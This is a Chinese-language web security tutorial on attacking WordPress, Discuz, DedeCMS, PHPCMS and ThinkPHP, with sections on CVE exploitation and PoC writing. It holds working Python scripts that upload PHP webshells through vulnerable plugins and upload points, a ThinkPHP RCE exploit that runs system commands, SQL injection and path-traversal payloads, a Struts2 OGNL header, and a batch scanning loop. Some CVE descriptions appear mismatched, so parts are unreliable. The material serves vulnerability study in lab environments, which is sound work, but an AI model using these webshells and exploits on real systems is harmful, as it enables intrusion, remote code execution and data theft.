关于 Web 安全:6. 常见 CMS & 开源系统风险点

一、WordPress

  • 开源内容管理系统(CMS),使用 PHP + MySQL 构建;

  • 全球超过 40% 网站使用

  • 支持插件、主题系统,功能可扩展性极强;

  • 也是风险点最多的系统之一,插件/主题贡献了大部分安全问题

1.1 WordPress 架构概览

(便于理解风险点位置)

bash 复制代码
WordPress
├── wp-admin/     → 后台管理界面
├── wp-content/
│   ├── themes/   → 前端模板(可能存在 XSS/上传)
│   └── plugins/  → 插件目录(最多风险点来源)
├── wp-includes/  → 核心函数库
├── wp-config.php → 配置文件(数据库连接信息)
├── index.php     → 网站首页入口
└── functions.php → 常见主题挂钩函数

1.2 WordPress 常见风险点类型

类型 描述 示例插件/位置
任意文件上传 插件绕过上传限制,上传 PHP Shell 文件管理类插件、主题上传点
SQL 注入 参数未过滤,注入数据库语句 如 WP Statistics
XSS(跨站脚本) 用户输入未过滤,注入 JS 脚本 评论、搜索框、帖子
CSRF 未做 Token 验证的敏感操作 管理员点击恶意链接,触发敏感动作
RCE 通过插件/主题风险点,远程执行任意 PHP 命令 PHP Object Injection、eval() 后门
信息泄露 暴露用户、路径、目录结构等 xmlrpc 接口、REST API、目录遍历

1.3 历史 CVE 风险点分析(含原理)

CVE-2019-8942 --- 任意文件删除风险点

  • 位置wp-includes/functions.php

  • 影响版本:WordPress < 5.0.1

  • 原理

    • wp_delete_attachment() 可删除任意路径;

    • 攻击者上传一个图片文件并删除对应路径可实现本地文件删除。

CVE-2020-25213 --- 插件 File Manager RCE

  • 插件名:File Manager(700k+ 安装)

  • 风险点描述

    • 插件打包带了 elFinder 文件管理器;

    • elFinder 中的 connector.minimal.php 没有身份验证;

    • 可直接上传恶意 PHP 文件并执行,实现 RCE。

  • 利用路径

bash 复制代码
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

CVE-2017-1001000 --- WP REST API 任意用户信息泄露

  • 影响版本:4.7.x

  • API 可被未授权访问,直接获取用户信息:

bash 复制代码
GET /wp-json/wp/v2/users

1.4 POC 编写方法(以 RCE 为例)

示例:File Manager 插件 RCE POC

python 复制代码
import requests  # 导入 requests 库,用于发送 HTTP 请求

def upload_shell(url):  # 定义上传 WebShell 的函数,参数为目标网站地址
    # 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径
    upload_url = f"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

    # 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHP
    files = {
        'upload[]': ('shell.php', b'<?php echo shell_exec($_GET["cmd"]); ?>', 'application/x-php')
    }

    try:
        # 发送 POST 请求将文件上传到服务器
        r = requests.post(upload_url, files=files, timeout=5)

        # 如果响应中包含"added"关键字,表示上传成功
        if "added" in r.text:
            print("[+] 上传成功!尝试访问 shell")  # 打印成功信息
            # 打印 WebShell 的访问地址,并附带测试命令 ?cmd=id
            print(f"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id")
        else:
            print("[-] 上传失败")  # 上传不成功则输出失败信息
    except:
        print("[-] 请求失败")  # 请求过程中出现异常则输出失败信息

upload_shell("http://127.0.0.1")  # 调用函数,传入本地测试地址作为目标网站地址

1.5 风险点复现平台

1)Vulhub

  • 风险点靶场,提供 WordPress 相关复现环境

  • 使用方法:

bash 复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub/wordpress/CVE-XXXX-XXXX
docker-compose up -d

2)GitHub PoC 搜索

bash 复制代码
site:github.com wordpress poc
site:github.com wordpress CVE-2020-25213

常见 PoC 库:

3)国内平台

平台 功能
CNVD 查阅已知 WordPress 核心/插件风险点
补天平台 提交 WordPress 风险点获得积分、赏金
风险点盒子(历史) 老平台,很多插件历史风险点记录

1.6 系统性 WordPress 风险点挖掘

初级阶段:

  • 安装 WordPress(建议用 Docker)

  • 安装热门插件(下载旧版本)

  • 配合 Burp Suite 抓包观察上传/请求

中级阶段:

  • 用 WPScan 自动化扫描插件风险点

  • 学习常见 CVE 利用过程

  • 手动构造 POC、复现请求

高级阶段:

  • 审计插件源码(PHP)

  • 分析插件 hook、filter、ajax 动态请求

  • 自己编写插件 + 引入风险点 → 学习风险点原理

1.7 WPScan 工具推荐

bash 复制代码
wpscan --url http://127.0.0.1 --enumerate p
  • --enumerate u 枚举用户

  • **--enumerate p**枚举插件

  • --api-token=xxx 可查 CVE

1.8 小结

项目 内容
学习方向 插件/主题安全、风险点分析、审计、PoC 编写
高危点 任意上传、插件远程命令执行、反序列化
实践方式 使用 Vulhub + GitHub POC + 自己编写上传脚本
常用工具 WPScan、Burp Suite、dirsearch、nuclei

二、Discuz

Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。

  • 作者:Comsenz(腾讯收购)

  • 语言:PHP + MySQL

  • 用途:论坛、社区系统(可与 UCenter 集成)

  • 文件结构 :功能集中在 source/ 目录,交互入口在 forum.phpmember.php

2.1 Discuz 常见风险点类型

风险点类型 描述 常见位置
SQL注入 参数拼接未过滤 搜索、登录、插件参数
任意文件上传 绕过 MIME 检测 上传头像、主题封面、插件
XSS 跨站脚本 输入未过滤、富文本风险点 帖子内容、签名、头像路径
CSRF 跨站请求伪造 缺少 formhash 校验 注册、发帖、添加管理员
远程代码执行 RCE 利用 eval / preg_replace / 动态 include 插件模板、缓存文件
任意文件读取/包含 用户输入拼接文件路径 include、require、loadcache
SSRF/命令注入 管理后台中图片链接处理 头像抓取、远程图片

2.2 Discuz 文件结构

利于 风险点定位

bash 复制代码
Discuz/
├── admin.php          → 后台入口
├── forum.php          → 主页面逻辑
├── uc_server/         → 用户中心(UCenter)
├── source/
│   ├── function/      → 核心函数库
│   ├── module/        → 模块控制器
│   ├── plugin/        → 插件目录
│   ├── class/         → 类库
│   └── include/       → 各类配置及逻辑函数
├── config/
├── data/
│   ├── cache/         → 缓存,某些可写导致 RCE
│   └── template/      → 模板编译生成目录
└── template/          → 前端模板

2.3 典型 CVE 和历史风险点详解

1)Discuz! X3.4 前台 getshell 风险点**(无 CVE,影响广泛)**

  • 版本:Discuz X3.4 < R20211215

  • 入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录

  • 关键点 :上传路径**data/cache/common.php** 被 include,成功 getshell

原理:

php 复制代码
// source/function/function_core.php
// 文件缓存内容直接 include
if(file_exists($cachefile)) {
    include $cachefile;
}
  • 攻击者构造上传内容为 PHP 代码,绕过格式检测;

  • 上传后缓存被 include,即可远程执行 PHP。

2)CVE-2013-2087 --- SQL 注入风险点

  • 版本:Discuz 7.2

  • 位置misc.php?mod=patch

  • 参数serial 直接进入 SQL 查询,未做参数过滤

  • 影响:可爆库、登录后台、提权等

3)XSS 风险点 --- 签名/主题

  • 签名设置时可以写入 <script>

  • 管理员后台查看时触发;

  • 可构造Cookie 窃取 / CSRF 搭配使用实现提权

2.4 利用方式与 POC 编写

示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell

python 复制代码
import requests

# 修改为你的目标站点
target = 'http://127.0.0.1/discuz/'

# 构造上传内容(PHP一句话)
payload = {
    'Filedata': ('shell.jpg', b'<?php eval($_POST["cmd"]);?>', 'image/jpeg')
}

headers = {
    'User-Agent': 'Mozilla/5.0',
    'Cookie': 'your_cookie_here'  # 登录后的 Cookie
}

upload_url = target + 'misc.php?mod=swfupload&action=swfupload&operation=album&type=image'
r = requests.post(upload_url, files=payload, headers=headers)

print('[+] 上传完成,检查是否写入缓存并被 include')

2.5 风险点挖掘思路

目标 方法
上传风险点 搜索 move_uploaded_file / copy 函数
SQL注入 搜索 $sql = "SELECT ... $_GET/$_POST"
XSS 搜索 echo $_GET/$_POST/$_COOKIE
文件包含 搜索 include($_GET)require($var)
CSRF 找 form 操作是否校验 formhash

2.6 工具推荐

1)Burp Suite + 插件(xss validator、upload scanner)

2)代码审计工具

  • Seay Source Code Auditor(国产,支持 PHP)

  • RIPS(开源静态分析工具)

  • VSCode + 全局搜索

3)自动化风险点检测框架

  • dirsearchnucleiWhatWeb:探测后台与目录结构

  • sqlmap:测试 SQL 注入

2.7 风险点复现平台

平台 说明
CNVD 查 Discuz 历史风险点
风险点盒子 搜 Discuz + 风险点类型(如"discuz 文件上传")
补天平台 真实站点测试(白帽子平台)
GitHub PoC 搜索 直接下载复现脚本或 Fuzz 工具
Vulhub 虽未内置 Discuz,可自行搭建测试环境

2.8 系统学习 Discuz 风险点

推荐流程:

  1. 本地搭建环境

    • 使用 LNMP(或 XAMPP/WAMP)搭建 Discuz

    • 安装常用插件如"X附件管理"、"门户扩展"、"积分商城"

  2. 手动分析风险点

    • 查找上传入口、动态 include 文件

    • 配合 burp 抓包分析请求参数

  3. 复现公开风险点

    • 利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本

    • 改写为 POC/EXP,加深理解

  4. 源码审计(进阶):

    • 审计 source/function、module/plugin 目录

    • 重点函数:include, eval, move_uploaded_file, DB::query

2.9 小结

内容 说明
核心风险 上传点+缓存路径包含、插件不安全参数
高危函数 eval、preg_replace、include、require、DB::query
POC 编写 抓包分析请求路径、构造上传/注入/脚本内容
建议练手 X3.4 缓存上传 RCE、XSS(签名)、SQL注入 CVE-2013-2087
推荐技能 熟悉 PHP、掌握 Burp Suite、代码审计技巧

三、dedecms

  • 作者:织梦科技(dede58.com / dedecms.com

  • 语言:PHP + MySQL

  • 用途:中小型企业官网、个人站、博客系统,国内使用广泛

  • 特性:模板灵活、后台功能强,但安全设计薄弱

3.1 DedeCMS 常见风险点类型

风险点类型 说明 风险点位置举例
SQL注入 参数拼接未过滤 member、plus、diy模块
任意文件上传 上传文件未做类型校验或扩展名绕过 模板文件上传、自定义表单上传
远程命令执行(RCE) 利用 include + 用户可控路径等构造 include 动态拼接
任意文件删除 可控路径拼接 unlink 函数 缓存清除/图片处理等
任意文件读取 拼接 include 路径、读取配置、数据库备份文件 下载备份数据库、模板泄漏
XSS 页面未对用户输入做转义 留言板、评论、会员资料、搜索框
CSRF 缺少 token 检查,用户操作被劫持 后台配置、会员注册或密码修改等

3.2 重要目录结构

bash 复制代码
dedecms/
├── dede/                 → 后台目录(默认可自定义)
├── plus/                 → 模块扩展接口(如留言板、搜索)
├── uploads/              → 用户上传目录
├── include/              → 核心库函数
├── data/                 → 数据库备份 / 配置文件 / 可读可写
├── templets/            → 前端模板目录
├── member/              → 用户系统模块
└── install/             → 安装程序

3.3 典型风险点与 CVE 实例详解

1)CVE-2018-6910 --- 任意文件删除风险点

  • 位置/plus/recommend.php

  • 原理

    • 参数 aid 为用户控制,最终调用了**unlink** 删除文件

    • 可拼接删除任意文件,如:../../data/admin/config.php

php 复制代码
// plus/recommend.php
@unlink($cfg_basedir.$row['litpic']);

2)任意文件上传(getshell) --- no CVE

  • 版本:DedeCMS v5.7 SP2 / SP3 多版本

  • 位置:会员中心 / 模板管理上传 / 自定义表单

php 复制代码
// dede/templets.php
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cfg_basedir.$filename);
  • 可以构造上传**.php;.jpg** 文件绕过检查

  • 上传路径可控,如 uploads/a.php

3)SQL 注入风险点

  • 位置plus/diy.php, plus/search.php, member/guestbook.php

  • 危险函数$dsql->Execute(), GetOne(), ExecuteNoneQuery()

php 复制代码
// plus/diy.php
$query = "SELECT ... WHERE id='$id'";
// id 未过滤,拼接到 SQL
  • 利用 id=1' or updatexml(1,concat(0x7e,user()),0) --+ 可回显错误

4)远程代码执行风险点(RCE) --- include 拼接

  • 位置 :**/include/common.inc.php**中存在动态包含
php 复制代码
require_once(dirname(__FILE__).'/../'.$some_var.'.php');
  • 如果**$some_var** 可控,则可实现任意包含或代码执行

3.4 风险点挖掘与 POC 编写方法

示例:DedeCMS 任意文件上传 Getshell(会员中心)

攻击流程:

  1. 登录会员中心

  2. 上传头像时绕过检查上传 php

  3. 利用访问上传路径执行恶意代码

简易 POC:

python 复制代码
import requests

url = 'http://target.com/uploads/'
file = {'file1': ('shell.php', '<?php eval($_POST["cmd"]); ?>', 'application/octet-stream')}

r = requests.post('http://target.com/dede/templets_add.php', files=file)
if 'success' in r.text:
    print('[+] Upload success')
    print(f'[+] Shell: {url}shell.php')

3.5 代码审计思路

目标类型 搜索关键词
上传风险点 move_uploaded_file, copy
SQL 注入 SELECT * FROM, WHERE, $_GET, $_POST
文件包含/执行 include, require, eval
文件删除 unlink, @unlink
读取敏感信息 readfile, fopen

3.6 复现环境搭建

方式一:Docker 环境搭建

bash 复制代码
git clone https://github.com/vulhub/vulhub
cd vulhub/dedecms/CVE-2018-6910
docker-compose up -d

访问:http://localhost:8080

方式二:手动搭建

  1. 下载 dedecms 安装包(如 5.7 SP2)

  2. 本地配置 LNMP / XAMPP 环境

  3. 修改后台目录名(dede/)确保路径一致

  4. 添加测试数据,构造 payload

3.7 风险点资源获取平台

平台 用法示例
CNVD 搜索关键词 DedeCMS,获取风险点编号和说明
风险点盒子 织梦, dedecms,查看历史风险点和 PoC
补天平台 查询真实站点 DedeCMS 风险点情况
GitHub PoC 搜索 dedecms poc exploit
SecWiki 整理常见 CMS 风险点

3.8 系统性 DedeCMS 风险点挖掘

初级:

  • 熟悉后台结构、模板上传逻辑、plus 接口参数

  • 练习 CVE-2018-6910(任意删除)和常见文件上传

中级:

  • 审计 member/plus/dede/include 目录代码

  • 编写 burp 插件抓包分析自定义上传逻辑

高级:

  • 分析 include/common.inc.php 加载流程

  • 搜索**eval, include, require, fwrite**,做静态审计

3.9 小结

内容 说明
高危函数 eval, include, move_uploaded_file, unlink
容易被攻击点 模板上传、会员资料、plus 接口
实战推荐风险点 任意删除 CVE-2018-6910、模板上传 Getshell
推荐平台与工具 GitHub PoC、Vulhub、Burp Suite、Seay 审计工具
建议 本地搭环境,复现 + 审计结合,逐步深入理解源码

四、phpcms

  • 名称:PHPCMS(PHP内容管理系统)

  • 作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护

  • 语言:PHP + MySQL

  • 版本 :常见使用版本为 PHPCMS v9

目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。

4.1 重要目录结构

sql 复制代码
phpcms/
├── phpcms/          ← 核心文件
├── caches/          ← 缓存目录,可写
├── statics/         ← 静态资源
├── api/             ← 接口模块
├── install/         ← 安装目录
├── member/          ← 会员中心
├── admin/           ← 管理后台
├── uploadfile/      ← 文件上传(可传马)
└── configs/         ← 数据库配置等

4.2 常见风险点类型总结

类型 简述
任意文件上传 上传头像、编辑器附件、模板等绕过限制,获取 webshell
SQL 注入 使用 **$this->db->query()**拼接参数导致注入
远程命令执行 用户参数拼接后用于 **evalassert**等
任意文件包含 include($_GET['mod'].'.php') 这类形式
任意文件读取 readfile($filename)file_get_contents($_GET['f'])
任意文件删除 **unlink($_GET['file'])**等未验证参数
后台绕过 管理登录验证绕过、验证码绕过
XSS/CSRF 富文本/评论系统等

4.3 典型风险点实例详解(含 CVE)

1)任意文件上传风险点(webshell)

  • 位置phpcms/modules/member/index.php

  • 原理

    • 注册会员上传头像时,没有过滤扩展名或上传路径可控

    • 可以上传 a.php;.jpg 或通过目录穿越写入 .php

实战流程:

  1. 注册账号,访问上传接口

  2. 上传恶意 webshell

  3. 构造访问路径执行命令

示例代码:

php 复制代码
// member/index.php
$filepath = 'uploadfile/avatar/' . $userid . '.jpg';
move_uploaded_file($_FILES['Filedata']['tmp_name'], $filepath);

构造 payload:

bash 复制代码
POST /index.php?m=member&c=index&a=upload HTTP/1.1
...
Filedata = shell.php;.jpg   // 后缀绕过

2)SQL 注入风险点(无WAF场景高回显)

  • 位置/api.php,参数未过滤

  • CVE:CVE-2018-19127

  • POC

perl 复制代码
http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=' and updatexml(1,concat(0x7e,user()),1) --+
  • 可直接报错注入,回显数据库用户名等敏感数据

3)任意文件读取风险点

  • 位置phpcms/modules/content/down.php

  • 风险点点

php 复制代码
$filename = $_GET['f'];  // 未限制后缀名和目录
readfile($filename);
  • 构造访问:
bash 复制代码
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php

4)任意文件包含风险点

  • CVE:CVE-2018-19126

  • 位置phpcms/modules/search/index.php

  • 核心代码

php 复制代码
require_once PHPCMS_PATH.'include/'.$module.'.php';
  • 构造:
bash 复制代码
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell

前提是可控上传 + include。

4.4 POC 编写方式

以上传风险点为例,编写 POC 时通常包含三步:

  • 构造上传请求
python 复制代码
files = {
    'Filedata': ('shell.php;.jpg', '<?php eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(upload_url, files=files)
  • 判断是否上传成功
python 复制代码
if 'success' in r.text and 'shell.php' in r.text:
    print("Upload Success")
  • 发送命令执行测试
python 复制代码
test = requests.post(shell_url, data={'cmd': 'phpinfo();'})
if 'PHP Version' in test.text:
    print("Shell is working")

4.5 复现平台

平台 使用方式
CNVD 搜索关键词 phpcms 查看风险点编号、通告
补天平台 搜 "phpcms" 查看实战攻击记录
GitHub POC phpcms poc exploit
Vulhub 提供 CVE-2018-19126 等复现环境
风险点盒子镜像 查找历史风险点投稿
Seebug 有详细风险点分析文章

4.6 本地搭建复现环境

方法一:使用 Vulhub

bash 复制代码
git clone https://github.com/vulhub/vulhub
cd vulhub/phpcms/CVE-2018-19126
docker-compose up -d

访问:http://localhost:8080

方法二:手动搭建

  • 下载 PHPCMS v9

  • 配置 LNMP 环境

  • 配置 MySQL 及数据库账号

  • 添加测试数据并尝试风险点构造

4.7 代码审计技巧

审计目标 检查方式
上传函数 move_uploaded_file, copy, fwrite,配合 $_FILES 使用
SQL语句拼接 $db->query("select * from ... ".$_GET['id'])
动态执行函数 eval(), include, require
文件读取 readfile, file_get_contents, fopen

4.8 学习建议

入门阶段

  • 学会搭建 phpcms v9 环境

  • 练习 CVE-2018-19126 文件包含

  • 抓包分析上传接口逻辑

进阶阶段

  • 熟练编写文件上传、注入、包含类风险点 POC

  • 尝试代码审计 phpcms/modules/* 路径下各模块

  • 搜索高危函数 eval, assert, unserialize

4.9 小结

内容 说明
高危点 上传接口、search 模块、down 模块
推荐复现风险点 CVE-2018-19126、上传 getshell
平台与资源 GitHub PoC、Vulhub、CNVD、补天
学习方向建议 审计 + 搭建复现 + 写 PoC + 看 CVE

五、ThinkPHP

  • 全称:ThinkPHP Framework

  • 作者/团队:TopThink(国人开发)

  • 语言:PHP

  • 版本体系

    • ThinkPHP 3.x(大量站点仍在用)

    • ThinkPHP 5.x(5.0、5.1)

    • ThinkPHP 6.x(最新版,重构了架构)

安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。

5.1 常见风险点类型

风险点类型 简述
RCE(远程命令执行) 路由解析器对控制器/方法名未做严格过滤
SQL注入 部分版本参数拼接或query手动执行导致注入
变量覆盖 使用 extract、parse_str 导致全局变量被覆盖
文件包含 使用 include($file) 时未限制路径
信息泄露 debug 模式、trace、日志接口未关闭
任意文件写入/上传 模板写入、日志写入可导致任意写文件

5.2 核心风险点详解

1)ThinkPHP 5.0.23 RCE(经典)

  • 编号:无 CVE,但极其广泛

  • 影响版本:ThinkPHP 5.0.0 ~ 5.0.23

  • 原因 :路由系统未限制模块/方法名,导致**__construct()**被执行

请求构造:

bash 复制代码
POST /index.php?s=/index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_get[]=phpinfo
  • 解释:

    • **/index.php?s=/index/\think\Request/input**利用了 PHP 类自动加载

    • 调用了**Request::input()** 方法

    • _get[] 数组会被传给 **input**方法,最终触发命令执行

利用函数:

  • system()

  • phpinfo()

  • assert()

2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)

  • 编号:CVE-2018-20062

  • 原理:控制器反射调用,构造调用方法并传参触发命令执行

利用路径:

bash 复制代码
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
  • App::invokeFunction() 会调用任意函数 phpinfo,传参为 1

  • 支持调用 system, exec, shell_exec

攻击链:

bash 复制代码
\think\App -> invokeFunction(function, args) -> call_user_func_array

3)变量覆盖导致任意文件写入

  • 原理

    • 日志系统使用 extract() 获取变量

    • 利用日志写入点 + 后缀伪造写入 webshell

利用条件:

  • 日志目录可写

  • 文件内容可控(如写入 <?php eval($_POST['cmd']); ?>

5.3 POC 编写思路(以 5.0.23 RCE 为例)

POC 核心思路:

  • 发送 POST 请求执行**phpinfo()**测试 RCE 是否存在

  • 改成 **system('id')**实现命令执行

python 复制代码
import requests

url = 'http://target.com/index.php?s=/index/\\think\\Request/input'
data = {'_method': '__construct', 'filter[]': 'phpinfo', 'server[REQUEST_METHOD]': '1'}

r = requests.post(url, data=data)

if 'PHP Version' in r.text:
    print("[+] ThinkPHP RCE 存在!")

5.4 审计技巧与代码分析重点

关键位置 说明
route.php 路由定义和闭包函数可能执行
app()->run() 核心入口函数
App::invokeFunction 可反射执行任意函数
Request::input() 读取任意输入数据
Config::get() 读取配置(信息泄露点)
Log::write() 可控写入日志

5.5 复现平台

资源平台 用途与说明
Vulhub 提供 TP 5.0.23、5.1.6 风险点环境
GitHub POC 搜索 thinkphp RCE CVE poc
CNVD 查询国内披露的 TP 风险点
Seebug 优质风险点分析文章与实战案例
风险点盒子/补天 有丰富的 TP 实战提交和案例

5.6 本地环境复现(Vulhub)

bash 复制代码
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d

访问:http://localhost:8080 可直接使用 PoC 测试是否存在风险点

5.7 实战挖掘技巧

1)路由注入点识别

  • **/index.php?s=/**是否存在?

  • 是否允许使用 \think\类名 构造请求?

2)控制器调用链梳理

  • 查看是否存在反射执行点 App::invokeFunction, Loader::action

3)日志/模板写入点

  • 查看**Log::write()**是否内容可控

  • 模板编译缓存是否在 web 根目录**(runtime/temp/*.php)**

4)DEBUG 模式信息泄露

访问:

bash 复制代码
/index.php?s=/index/\\think\\app/invokefunction&function=phpinfo
/index.php?debug=1

5.8 版本风险点

版本 风险点 CVE/说明
TP 5.0.23 RCE via Request::input 无 CVE,经典构造
TP 5.1.6 RCE via App::invokeFunction CVE-2018-20062
TP 3.2.3 SQL 注入、变量覆盖 存在多个未修复风险点
TP 通用 任意方法调用、任意文件写入、debug 泄露 取决于配置与代码写法

5.9 学习建议

阶段 学习建议
入门 跑通 Vulhub 的 TP 风险点复现,理解控制器调用链
进阶 熟悉框架路由机制、反射函数执行机制
提升 自己写一个小风险点框架或扫描器,挖私有站风险点

六、CVE 利用方式

6.1 什么是 CVE?

  • CVE 编号示例:CVE-2018-20062

  • 组成CVE-年份-编号,如 CVE-2023-XXXX

  • 意义:为安全研究者提供一个统一引用风险点的"身份证"。

6.2 CVE 风险点利用的一般步骤

步骤 说明
① 查找 CVE 信息 在 NVD、Exploit-DB、Seebug、CNVD 上查询
② 理解风险点原理 阅读风险点分析报告,梳理调用链与触发点
③ 环境搭建 使用 Vulhub、Docker、本地源码构建环境
④ 编写 PoC 构造触发风险点的数据包或请求
⑤ 执行利用 利用风险点执行命令、读取文件、getshell 等
⑥ 留痕排查 查看日志、修复补丁、写风险点检测脚本

6.3 CVE 利用类型示例(Web 安全领域)

类型 示例 CVE 利用方式
RCE(远程命令执行) CVE-2018-20062(ThinkPHP) 构造反射函数调用执行命令
SQL注入 CVE-2022-36804(Jira) 在查询参数中注入 SQL 语句
文件上传 CVE-2023-25136(某 CMS) 构造非法上传绕过后缀检查
文件包含 CVE-2019-6340(Drupal) 包含远程代码并执行
任意文件读取 CVE-2021-43798(Grafana) 利用路径穿越读取系统文件

6.4 CVE 利用方式深入分析:以两个 CVE 为例

案例一:ThinkPHP RCE(CVE-2018-20062)

风险点概述:

  • 利用了 **App::invokeFunction()**方法未做权限验证,可远程执行任意函数

请求方式:

bash 复制代码
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1

实现效果:

  • 执行任意 PHP 函数,如 system("id")

利用步骤:

  • 本地搭建 ThinkPHP 5.1 环境

  • 访问上方构造的 URL

  • 响应中出现 PHP 版本信息或执行结果

案例二:Apache Struts2 RCE(CVE-2017-5638)

风险点:

  • Apache Struts2 文件上传组件使用**Content-Type**头触发 OGNL 表达式执行

Payload 示例:

bash 复制代码
Content-Type: %{(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Test","Exploit"))}

执行效果:

  • 执行任意命令,如 whoami、反弹 shell

6.5 CVE PoC 编写方法(以 Web 为例)

1)PoC 基本结构

python 复制代码
import requests

def test(url):
    payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"
    res = requests.get(url + payload)
    if "PHP Version" in res.text:
        print("[+] 风险点存在")
    else:
        print("[-] 风险点不存在")

test("http://127.0.0.1")

2)攻击型 Exploit 示例(RCE)

python 复制代码
import requests

def exploit(url, cmd):
    payload = f"/index.php?s=/index/\\think\\App/invokefunction&function=system&vars[0]={cmd}"
    res = requests.get(url + payload)
    print(res.text)

exploit("http://127.0.0.1", "id")

6.6 常用平台查找 CVE 和 POC

1)官方平台

名称 地址 说明
NVD https://nvd.nist.gov 官方 CVE 数据库
CVE 官网 https://cve.mitre.org CVE 编号查询
CNVD https://www.cnvd.org.cn 国内风险点库

2)POC/EXP 平台

平台 用途
Exploit-DB:https://www.exploit-db.com 收录 CVE 的 Exploit 代码
GitHub(搜索 CVE-xxxx) 搜索开源 POC/EXP
Seebug:https://paper.seebug.org 中文分析报告与 POC
风险点盒子、补天平台 可上传和复现 CVE
Vulhub:https://github.com/vulhub/vulhub 提供 CVE 对应的 Docker 风险点复现环境

6.7 CVE 实战思路总结

  • 先搜索 CVE 编号(Google、NVD、Seebug)

  • 确认版本是否影响

  • 在 Vulhub 构建复现环境

  • 写 POC 脚本测试回显

  • 扩展为批量检测脚本、自动化利用工具

  • 提交风险点平台如补天、SRC 或 GitHub


七、POC 编写方法

PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:

  • 风险点复现与验证

  • 自动化扫描

  • 提交风险点平台(如补天、CNVD)

  • 作为风险点利用(EXP)的前置阶段

重点是"验证",不是"攻击"。PoC 不应对目标造成破坏。

7.1 PoC 的基本结构

PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果

python 复制代码
import requests

def poc(url):
    payload = "..."  # 构造恶意请求
    res = requests.get(url + payload)
    
    if "风险点特征" in res.text:
        print(f"[+] {url} 存在风险点!")
    else:
        print(f"[-] {url} 不存在风险点。")

7.2 常见风险点类型的 PoC 编写模板

1)远程命令执行(RCE)

以 ThinkPHP RCE 为例(CVE-2018-20062):

python 复制代码
def thinkphp_rce(url):
    payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"
    try:
        res = requests.get(url + payload, timeout=5)
        if "PHP Version" in res.text:
            print(f"[+] 存在RCE风险点: {url}")
        else:
            print("[-] 不存在风险点")
    except:
        print("[-] 请求失败")

2)SQL 注入风险点

以某 CMS POST 注入为例:

python 复制代码
def sql_injection(url):
    data = {
        "username": "admin",
        "password": "admin' OR 1=1-- "
    }
    res = requests.post(url, data=data)
    if "欢迎您" in res.text or "dashboard" in res.text:
        print(f"[+] SQL注入成功: {url}")
    else:
        print("[-] SQL注入失败")

3)任意文件读取

以 Grafana 任意文件读取(CVE-2021-43798)为例:

python 复制代码
def read_file(url):
    payload = "/public/plugins/alertlist/../../../../../../../../etc/passwd"
    res = requests.get(url + payload)
    if "root:x:0:0:" in res.text:
        print(f"[+] 存在任意文件读取: {url}")
    else:
        print("[-] 风险点不存在")

4)文件上传绕过

常见场景是上传 php 文件绕过后缀验证:

python 复制代码
def file_upload_poc(upload_url):
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
    res = requests.post(upload_url, files=files)
    if "上传成功" in res.text:
        print(f"[+] 文件上传成功,可能存在风险点")

7.3 编写 PoC 的核心技巧

1)如何构造 Payload?

  • 利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异

  • 分析风险点原理,寻找参数、路径或头部注入点

  • 参考 Github / Exploit-DB 的 PoC 样例进行改写

2)如何判断是否成功?

  • 关键词判断法 :如 "PHP Version""uid=""root:x:0"

  • 响应长度变化

  • HTTP 状态码

  • 响应头部特征

3)如何提升 PoC 自动化能力?

  • 增加 URL 检测逻辑,自动补全路径

  • 增加 timeout/重试机制

  • 支持批量扫描、读取目标列表

  • 添加可视化或日志记录模块

示例:批量扫描 PoC 框架

python 复制代码
def scan(target_list):
    for url in target_list:
        try:
            thinkphp_rce(url)
        except Exception as e:
            print(f"[-] 扫描失败:{url}, 错误:{e}")

7.4 PoC 工具和平台资源

名称 用途
Vulhub Docker 风险点复现环境
Pocsuite3(推荐) Python 风险点验证框架
Seebug 中文 PoC 平台
Exploit-DB 国外 PoC 收集站
GitHub 搜索:CVE-202x-xxxx poc
补天、风险点盒子 提交风险点、查看他人 PoC

7.5 进阶建议

1)学习 PoC 框架

  • **Pocsuite3:**360 Mars 团队开源风险点验证框架

  • **Nuclei:**字节开源 YAML 编写 POC 框架,适合做批量扫描

  • **Metasploit:**EXP 居多,也包含 PoC 模块

2)看公开源码学习结构

  • GitHub 搜索 intitle:poc CVE-202* ,或关键词**cms风险点 poc**,对照学习

  • 关注 SRC/补天 高质量 PoC 写法(参数化、模块化)

7.6 小结

内容 重点
PoC 目的 风险点洞验证、非破坏性测试
编写核心 构造请求 + 判断结果
编写顺序 先复现 ➜ 观察请求 ➜ 写脚本 ➜ 自动化
实战建议 多复现 CVE + 写自己的 PoC 库
工具推荐 requests、Pocsuite3、Burp、Fiddler

八、CNVD

  • CNVD:China National Vulnerability Database

  • 中文名称:国家信息安全风险点共享平台

